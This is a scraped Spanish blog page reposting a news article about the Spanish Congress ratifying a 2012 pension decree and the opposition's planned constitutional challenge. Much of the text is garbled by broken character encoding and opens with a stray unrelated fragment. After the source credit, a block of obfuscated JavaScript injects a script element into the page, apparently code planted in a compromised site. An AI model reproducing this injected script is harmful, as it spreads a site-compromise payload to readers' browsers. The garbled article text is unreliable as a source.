Reforma en las pensiones

insecticide brand. Ai??El Pleno del Congreso de los Diputados ha convalidado este jueves el decreto ley de Medidas de ConsolidaciA?n y GarantAi??a del Sistema de la Seguridad Social, en el que no se revalorizan las pensiones en funciA?n del IPC de noviembre, con el A?nico apoyo del PP, la abstenciA?n de UPN y el rechazo del resto de grupos parlamentarios.

Tras casi tres horas de debate la posiciA?n de las diferentes formaciones polAi??ticas no se ha movido ni un A?pice. AsAi??, la ministra de Empleo, FA?tima BA?Ai??ez, ha insistido en que el decreto supone un incremento del 1% en las pensiones a partir de enero –del 2% en las inferiores a 1.000 euros– frente a la congelaciA?n por la optA? el Gobierno socialista en su A?ltimo aAi??o de mandato.

Sin embargo, la oposiciA?n ha defendido desde la tribuna que la medida, ademA?s de incumplir la normativa vigente de la Seguridad Social, supone una vulneraciA?n de la ConstituciA?n, al aplicarse de forma retroactiva una pAi??rdida de derechos adquiridos de los pensionistas. TambiAi??n critican la ruptura del Pacto de Toledo y acusan al Ejecutivo de «mentir» a los ciudadanos por intereses electoralistas.

Los ‘populares’ tambiAi??n han rechazado en solitario la tramitaciA?n como proyecto de ley de esta medida, apoyada incluso por UPN, y critican la decisiA?n de recurrir el decreto ante el Tribunal Constitucional (TC) argumentando que las pensiones sAi?? se revalorizan, aunque no tanto como le hubiera gustado al Gobierno por la coyuntura econA?mica actual y la obligaciA?n «irrenunciable» de cumplir el objetivo de dAi??ficit. Asimismo, afirman que los socialistas no tienen «autoridad moral» para liderar este recurso despuAi??s de que el Ejecutivo de JosAi?? Luis RodrAi??guez Zapatero congelara las pensiones.

CAMBIOS EN EL FONDO DE RESERVA

La oposiciA?n tambiAi??n teme que los cambios introducidos en las condiciones para poder extraer recursos del Fondo de Reserva abran la puerta a un uso descontrolado de la ‘hucha de las pensiones’, y critican que el Ejecutivo prevea ya la necesidad de ‘tirar’ de estos ahorros el aAi??o que viene en lugar de presupuestar correctamente las necesidades de la Seguridad Social en las cuentas pA?blicas, que aA?n se estA?n tramitando.

Sin embargo, BA?Ai??ez ha insistido en que serA? la IntervenciA?n General la que fije el dAi??ficit de las cuentas de la Seguridad Social que se puede cubrir con cargo al Fondo de Reserva, y ha asegurado que sA?lo se utilizarA?n estos recursos para el abono de pensiones contributivas, subrayando asimismo el «avance histA?rico» en materia de separaciA?n de fuentes de financiaciA?n.

El rechazo generalizado de la oposiciA?n al decreto conllevarA? por tanto un recurso A?nico de la oposiciA?n ante el Constitucional, del que se ha vetado a Amaiur, lo que ha motivado tambiAi??n la salida del acuerdo de los diputados de ERC, CompromAi??s y Geroa Bai, asAi?? como el rechazo de la Izquierda Plural (IU-ICV-CHA) y CC-NC a una decisiA?n que califican de «antidemocrA?tica», aunque menos importante que la necesidad de frenar esta medida del Gobierno.

De hecho, la oposiciA?n advierte tambiAi??n de la intenciA?n del Ejecutivo de acometer otros cambios en materia de pensiones –en relaciA?n, por ejemplo, al endurecimiento en el acceso a la pensiA?n anticipada– que estarAi??a barajando aprobar el Gobierno antes de final de aAi??o y sin consensuar con las formaciones polAi??ticas y los agentes sociales.

 

ArtAi??culo obtenido a travAi??s deAi??http://www.europapress.es x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Enlace permanente a este artículo: http://www.misclasesencasa.com/2012/12/13/reforma-en-las-pensiones/

Deja un comentario

Your email address will not be published.